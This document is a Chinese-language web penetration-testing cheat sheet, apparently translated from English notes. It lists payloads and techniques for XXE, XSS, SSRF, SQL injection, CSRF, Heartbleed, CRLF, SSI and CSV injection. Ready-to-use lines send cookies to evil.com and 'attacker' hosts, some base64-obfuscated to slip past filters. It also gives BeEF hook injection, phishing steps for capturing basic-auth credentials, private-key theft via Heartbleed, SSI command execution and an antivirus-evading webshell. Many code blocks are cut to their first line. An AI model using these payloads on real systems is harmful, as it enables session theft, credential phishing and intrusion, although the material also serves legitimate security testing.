Web Fuzz
XXE
测试方法
发现post请求的接口的时候,可以这样试试:
1 | <?xml version="1.0"?> |
如果发现了一个错误:
1 | <?xml version="1.0"?> |
说明能够解析,试试读文件:
1 | <?xml version="1.0"?> |
或者用php伪协议:
1 | <?xml version="1.0"?> |
得到的结果再base64解码即可。
webgoat8
测试方法
试一试是否可以添加实体的评论:
1 | <?xml version="1.0"?> |
可以的话,试试file:
1 | <?xml version="1.0"?> |
MUTILLIDAE
要获取mutillidae上的文件,要在form表单提交的过程中使用测试的payload:
1 | <?xml version="1.0"?> <!DOCTYPE a |
或者把xml版本忽略掉:
1 | <!DOCTYPE a |
以及上面提到的php流:
1 | <!DOCTYPE a |
OUT OF BAND
基础测试
- 使用 burp 的collaborator 然后单击
copy the payload to clipboard
- 将下面的code放入xml文件,然后上传:
1 | <?xml version="1.0" encoding="UTF-8"?> |
读文件
1 | wing.xml |
使用FTP读文件
1 | evil.xml |
ruby利用脚本:
1 | require 'socket' |
fuzz
1 | https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/XXE-Fuzzing.txt |
XSS
对于asp的站点,我们用unicode编码尖括号,适用于存储型XSS:
1 | '%uff1cscript%uff1ealert('XSS');%uff1c/script%uff1e' |
文件上传的XSS
发现上传点的时候,可以试试用payload作为文件名:
1 | <img src=x onerror=alert('XSS')>.png |
or:
1 | "><img src=x onerror=alert('XSS')>.png |
or:
1 | "><svg onmouseover=alert(1)>.svg |
SVG
stuff.svg
1 | <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> |
XML
1 | <html> |
CSP BYPASS
1 | script-src self: <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> |
常用的payload
svg/onload
'-alert(1)-'
eval(atob('YWxlcnQoMSk='))
<iMg SrC=x OnErRoR=alert(1)>
<div onmouseover="alert('XSS');">
</Textarea/</Noscript/</Pre/</Xmp><Svg /Onload=confirm(document.domain)>
x@x.com<--
<img/src=onerror=alert(1)> --!>
""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]][(''+{})[5]+(''+{})[1]+((""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]])+"")[2]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+(''+{})[5]+(!0+'')[0]+(''+{})[1]+(!0+'')[1]](((!1+"")[1]+(!1+"")[2]+(!0+"")[3]+(!0+"")[1]+(!0+"")[0])+"(1)")()
oNcliCk=alert(1)%20)//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>%5Cx3csVg/<img/src/onerror=alert(2)>%5Cx3e
AUTH CRED
遇到http-only的时候:
使用钓鱼的基本身份验证获取其凭据
- 注册一个和目标类似的域名
- https://github.com/ryhanson/phishery
- 编译然后运行
- 设置payload----
<img/src/onerror=document.location="evil.com/">
- 等待目标上线
偷Cookie
1 | <img/src/onerror=document.location="http://evil.com:8090/cookiez.php?c="+document.cookie> |
Blacklist bypass:
过滤了//,:,",<和>
1 | btoa('document.location="http://evil.com:8090/r.php?c="+document.cookie') |
payload:
1 | eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9ldmlsLmNvbTo4MDkwL3IucGhwP2M9Iitkb2N1bWVudC5jb29raWU=')) |
另外一个:
1 | <script>new Image().src="http://evil.com:8090/b.php?"+document.cookie;</script> |
比较不错的一个payload:
1 | <svg onload=fetch("//attacker/r.php?="%2Bcookie)> |
nc 监听:
1 | nc -lvp 8090 |
测试session劫持
利用burp重放功能进行测试。
看不同cookie会有什么变化。
FILTER BYPASS RESOURCES
收集到的payload:
1 | https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet |
基于POST的XSS
如果遇到无法将基于POST的XSS转换为GET请求的情况(可能目标服务器上禁用了GET请求),试试CSRF。
DOM XSS
1 | <target.com>/#<img/src/onerror=alert("XSS")> |
beef的hook,urlencode
1 | <target.com>/#img/src/onerror=$("body").append(decodeURIComponent('%3c%73%63%72%69%70%74%20%73%72%63%3d%68%74%74%70%3a%2f%2f%3c%65%76%69%6c%20%69%70%3e%3a%33%30%30%30%2f%68%6f%6f%6b%2e%6a%73%3e%3c%2f%73%63%72%69%70%74%3e'))> |
这些站点有大量的xss payload
1 | https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet |
payload生成:
1 | xssor.io |
SSRF
在可以控制url参数的情况下,只要不重定向,就可以测试一下SSRF。
Webhooks, PDF 生成, 文档解析, 文件上传这些地方都可以重点关注一下。
PS:https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF
想办法探测内网资产:http://internal-server:22/notarealfile.txt
更换端口,查看回显,判断端口的开放。
没有回显的情况下,按照响应时间判断,以及DNSLOG,这玩意burp自带的也好用的。
根据我的经验,一些组件只能使用某些端口,例如80,8080,443等。最好对这些端口进行测试。
如果你的payload中有路径,最好带上&,#
1 | http://internal-vulnerable-server/rce?cmd=wget%20attackers-machine:4000& |
这篇文章对SOP和CORS以及SSRF都有很好的讲解:https//www.bishopfox.com/blog/2015/04/vulnerable-by-design-understanding-server-side-request-forgery/
Bug Bounty Write-ups:
1 | https://hackerone.com/reports/115748 |
SQL注入
使用SQLMap在PUT REST Params中测试SQLi:
1 | 1. 使用 *标记Vulnerable参数 |
备忘录:https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
可以试试双编码输入。
会话固定
快速检查的方法,可用于确定会话固定漏洞是否是网站上的问题:
1 | 转到登录页面,观察未经身份验证的用户拥有的会话ID。 |
CSRF
一些绕过技术,即使有CSRF Token:
https://zseano.com/tutorials/5.html
csrf和reset api:
1 | <html> |
案例:
1 | https://blog.appsecco.com/exploiting-csrf-on-json-endpoints-with-flash-and-redirects-681d4ad6b31b |
CSRF TO REDECT XSS
1 | <html> |
文件上传漏洞
在OS X上创建测试10g文件(对于测试文件上载限制很有用):
1 | mkfile -n 10g temp_10GB_file |
无限制的文件上传
资源:
1 | http://nileshkumar83.blogspot.com/2017/01/file-upload-through-null-byte-injection.html |
一些备忘录:https://github.com/jhaddix/tbhm
CORS配置错误
用于测试的POC:
1 | <!DOCTYPE html> |
资源:
1 | https://www.securityninja.io/understanding-cross-origin-resource-sharing-cors/ |
测试心脏出血漏洞
1 | nmap -d --script ssl-heartbleed --script-args vulns.showall -sV -p <port> <target ip> --script-trace -oA heartbleed-%y%m%d |
偷私钥
1 | wget https://gist.githubusercontent.com/eelsivart/10174134/raw/8aea10b2f0f6842ccff97ee921a836cf05cd7530/heartbleed.py |
https://gist.github.com/bonsaiviking/10402038
https://gist.githubusercontent.com/eelsivart/10174134/raw/8aea10b2f0f6842ccff97ee921a836cf05cd7530/heartbleed.py
重定向
http://breenmachine.blogspot.com/2013/01/abusing-open-redirects-to-bypass-xss.html
重定向到beef:
1 | <script> s=document.createElement('script'); s.type='text/javascript'; s.src='http://evil.com:3000/hook.js'; document.getElementsByTagName('head')[0].appendChild(s); </script> |
使用Burp中的Decoder将其编码为base-64,并将其传递给payload:
1 | data:text/html;base64,PHNjcmlwdD4gcz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsgcy50eXBlPSd0ZXh0L2phdmFzY3JpcHQnOyBzLnNyYz0naHR0cDovL2V2aWwuY29tOjMwMDAvaG9vay5qcyc7IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdoZWFkJylbMF0uYXBwZW5kQ2hpbGQocyk7IDwvc2NyaXB0Pg== |
other:
1 | http://;URL=javascript:alert('XSS') |
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20redirect
CRLF注入
当你看到请求的参数是这样:
1 | http://inj.example.org/redirect.asp?origin=foo |
回显是这样:
1 | HTTP/1.1 302 Object moved |
尝试CRLF注射:
1 | http://inj.example.org/redirect.asp?origin=foo%0d%0aSet-Cookie:%20ASPSESSIONIDACCBBTCD=SessionFixed%0d%0a |
模板注入
您可以将一些代码放入jsfiddle以进行payload测试:
1 | <html> |
http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html
RCE
使用WEBSHELL上传(.NET)绕过AV:
这是一个示例,其中包含fuzzdb项目中的一个webshell:
1 | <%@ Page Language="C#" Debug="true" Trace="false" %> |
https://hax365.wordpress.com/2015/12/15/easy-trick-to-upload-a-web-shell-and-bypass-av-products/
PHP中的匿名函数RCE
1 | $inputFunc = function() use($a, $b, $c, &$f){echo(exec('whoami'));}; |
PHP实验
如果您需要测试一些PHP代码,可以使用本机Web服务器来托管它:
1 | php -S 127.0.0.1:80 -t . |
PHP交互式SHELL
1 | php -a |
CSV注入
在Windows上的Excel中,输入以下内容以获取cmd shell:
1 | =cmd|'cmd'!'' |
exmaple:https://rhinosecuritylabs.com/azure/cloud-security-risks-part-1-azure-csv-injection-vulnerability/
movie:https://www.youtube.com/watch?v=SC7AkclnG2g
有用的脚本
不断检查网站服务是否关闭:
1 | while true; do /usr/bin/wget "http://[target]/uri/path" --timeout 30 -O - 2>/dev/null | grep "[item on page]" || echo "The site is down"; sleep 10; done |
IDORS
服务器端包含注入
把它放在一个易受攻击的参数中:
如果有效,您应该在响应中看到当前日期和时间输出。
<!--#printenv -->
:输出环境变量。
1 | <!--#exec cmd="cat /etc/passwd"--> |
more:
1 | <pre><!--#exec cmd="ls" --></pre> |
点击劫持
只需使用Burp的clickbandit。还要记住:Clickjacking适用于点击,而不适用于键盘。
poc:
1 | <html> |
https://www.owasp.org/index.php/Testing_for_Clickjacking_(OTG-CLIENT-009)
https://javascript.info/clickjacking
https://www.tinfoilsecurity.com/blog/what-is-clickjacking
攻击JSON
利用burp标记参数进行主动扫描
反序列化漏洞
Writeup on Oracle Weblogic CVE-2018-2628
Java Deserialization Scanner Burp Extension
Java Serialized Payloads Burp Extension
工具
测试不安全的JWT
1 | 获取JSON Web Tokens Burp扩展 |
LFI
https://hack-ed.net/2017/11/05/finally-a-bug-bounty-write-up-lfi/
子域名探测技术
https://0xpatrik.com/subdomain-takeover-starbucks/
原文地址:https://techvomit.net/web-application-penetration-testing-notes/